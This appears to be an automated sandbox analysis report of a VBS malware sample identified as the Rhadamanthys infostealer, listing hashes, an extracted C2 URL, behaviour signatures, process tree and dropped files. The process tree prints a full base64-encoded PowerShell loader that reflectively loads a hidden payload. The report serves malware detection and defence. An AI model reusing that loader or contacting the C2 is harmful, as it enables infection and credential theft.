Analysis

  • max time kernel
    131s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2024 01:38

General

  • Target

    8bed27f5b5a1f3fee9076396dfa556be72ce444e1b0bf1ee536d716939c3a974.vbs

  • Size

    506KB

  • MD5

    7fba6758ee02d6fbd69db7bb5de82029

  • SHA1

    7c759c4a7681da6e916d8dd80ecfb125f4bf49f5

  • SHA256

    8bed27f5b5a1f3fee9076396dfa556be72ce444e1b0bf1ee536d716939c3a974

  • SHA512

    15c49c436bf5ed535f646f263e70e80f47de620a553a9f7a8a88482385eec5812970fdc0f69b915efa6006a58b16fbf47980f2fa34f54344cbe77ac28cc75722

  • SSDEEP

    12288:0KaH9AkQqyuC+4MXBRNAIPyLKhaDw7JZJGjdbS4VZZ4Ph:89AkJyd+XXBzAIKOUU7Foxn4p

Malware Config

Extracted

Family

rhadamanthys

C2

https://deadmunky.nl:5403/68efc67ee981034e6b329438/h7bgh43h.758up

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2680
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:348
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8bed27f5b5a1f3fee9076396dfa556be72ce444e1b0bf1ee536d716939c3a974.vbs"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\rsDymE.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3256
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgInJzRHltRS5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\rsDymE.ps1' -Encoding UTF8"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2284
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\rsDymE.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3480
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
              PID:4176
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
                PID:1520
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                4⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4588
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 608
                  5⤵
                  • Program crash
                  PID:2508
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 604
                  5⤵
                  • Program crash
                  PID:3484
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4588 -ip 4588
          1⤵
            PID:4424
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4588 -ip 4588
            1⤵
              PID:5100
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4236,i,12198811467968044966,17227406646827438786,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:8
              1⤵
                PID:2876

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                Filesize

                1KB

                MD5

                4280e36a29fa31c01e4d8b2ba726a0d8

                SHA1

                c485c2c9ce0a99747b18d899b71dfa9a64dabe32

                SHA256

                e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

                SHA512

                494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                16KB

                MD5

                5f83a4754b77a5a338a5db43b6616ff5

                SHA1

                84f535155895fdd0e0f318ac926bc62dc25e6a62

                SHA256

                f52bc59bf6a76d6febc81a918a74b1aa4ff00ad3fe9c7316c85d9631ad29416e

                SHA512

                75c30db258905573d8e1341aae669ddf19c51365dc396242600abd4b3264edc58c09b9813e2364e11d2f8e1ef20d78da4dbe898aff41f60a558ad742724811ff

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pm1iywzq.1gx.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\rsDymE.bat

                Filesize

                488KB

                MD5

                95e465b1ef996d3968a93ddbf5eba3da

                SHA1

                60fedee18bb55594ae6cf5a888e3135845ee8b7b

                SHA256

                0334ee6012ab68c0952a2b92e5977f687c2e278e6c5854554935bf344f6a6fae

                SHA512

                c6dcb8a2d8e91e8f770278ea20597bbc905387ece940841e5f0317eec117dd772ff8af1ce5fb69e3cfad4a9d0624685d2741d462b1c69a555bf25b1ba774c475

              • C:\Users\Admin\rsDymE.ps1

                Filesize

                1KB

                MD5

                6cc71c25ffb24ada904a5fc8671b08c5

                SHA1

                cf421c6b8f009a9b50f6c968669b5ae20a8475aa

                SHA256

                ecc925ef3557e4387d89ce5f16781f13c5c32ab4f30302a29cac1b54356314d0

                SHA512

                d131952d62403bd65a94e6d4b5231283088e65a7a944ab6fe7b15c81670d003e1003d01749ae89d37e56c8891ef2f1f92b874ced45b97a7a81cc62cc6a55d033

              • memory/348-58-0x0000000002080000-0x0000000002480000-memory.dmp

                Filesize

                4.0MB

              • memory/348-59-0x00007FFE59E10000-0x00007FFE5A005000-memory.dmp

                Filesize

                2.0MB

              • memory/348-61-0x0000000075E90000-0x00000000760A5000-memory.dmp

                Filesize

                2.1MB

              • memory/348-56-0x0000000000360000-0x0000000000369000-memory.dmp

                Filesize

                36KB

              • memory/2284-9-0x0000000005460000-0x0000000005482000-memory.dmp

                Filesize

                136KB

              • memory/2284-22-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

                Filesize

                120KB

              • memory/2284-23-0x0000000005B20000-0x0000000005B6C000-memory.dmp

                Filesize

                304KB

              • memory/2284-24-0x0000000007420000-0x0000000007A9A000-memory.dmp

                Filesize

                6.5MB

              • memory/2284-25-0x0000000006010000-0x000000000602A000-memory.dmp

                Filesize

                104KB

              • memory/2284-29-0x00000000744F0000-0x0000000074CA0000-memory.dmp

                Filesize

                7.7MB

              • memory/2284-21-0x00000000055E0000-0x0000000005934000-memory.dmp

                Filesize

                3.3MB

              • memory/2284-11-0x0000000005570000-0x00000000055D6000-memory.dmp

                Filesize

                408KB

              • memory/2284-10-0x0000000005500000-0x0000000005566000-memory.dmp

                Filesize

                408KB

              • memory/2284-8-0x0000000004E00000-0x0000000005428000-memory.dmp

                Filesize

                6.2MB

              • memory/2284-7-0x00000000744F0000-0x0000000074CA0000-memory.dmp

                Filesize

                7.7MB

              • memory/2284-6-0x0000000004710000-0x0000000004746000-memory.dmp

                Filesize

                216KB

              • memory/2284-5-0x00000000744FE000-0x00000000744FF000-memory.dmp

                Filesize

                4KB

              • memory/3480-40-0x0000000005670000-0x00000000059C4000-memory.dmp

                Filesize

                3.3MB

              • memory/3480-47-0x0000000002390000-0x000000000239A000-memory.dmp

                Filesize

                40KB

              • memory/3480-46-0x0000000006FA0000-0x000000000703C000-memory.dmp

                Filesize

                624KB

              • memory/3480-45-0x00000000073D0000-0x0000000007974000-memory.dmp

                Filesize

                5.6MB

              • memory/3480-44-0x0000000006170000-0x0000000006192000-memory.dmp

                Filesize

                136KB

              • memory/3480-43-0x0000000006B50000-0x0000000006BE6000-memory.dmp

                Filesize

                600KB

              • memory/4588-48-0x0000000000400000-0x000000000046D000-memory.dmp

                Filesize

                436KB

              • memory/4588-50-0x0000000000400000-0x000000000046D000-memory.dmp

                Filesize

                436KB

              • memory/4588-51-0x0000000003AE0000-0x0000000003EE0000-memory.dmp

                Filesize

                4.0MB

              • memory/4588-52-0x0000000003AE0000-0x0000000003EE0000-memory.dmp

                Filesize

                4.0MB

              • memory/4588-53-0x00007FFE59E10000-0x00007FFE5A005000-memory.dmp

                Filesize

                2.0MB

              • memory/4588-55-0x0000000075E90000-0x00000000760A5000-memory.dmp

                Filesize

                2.1MB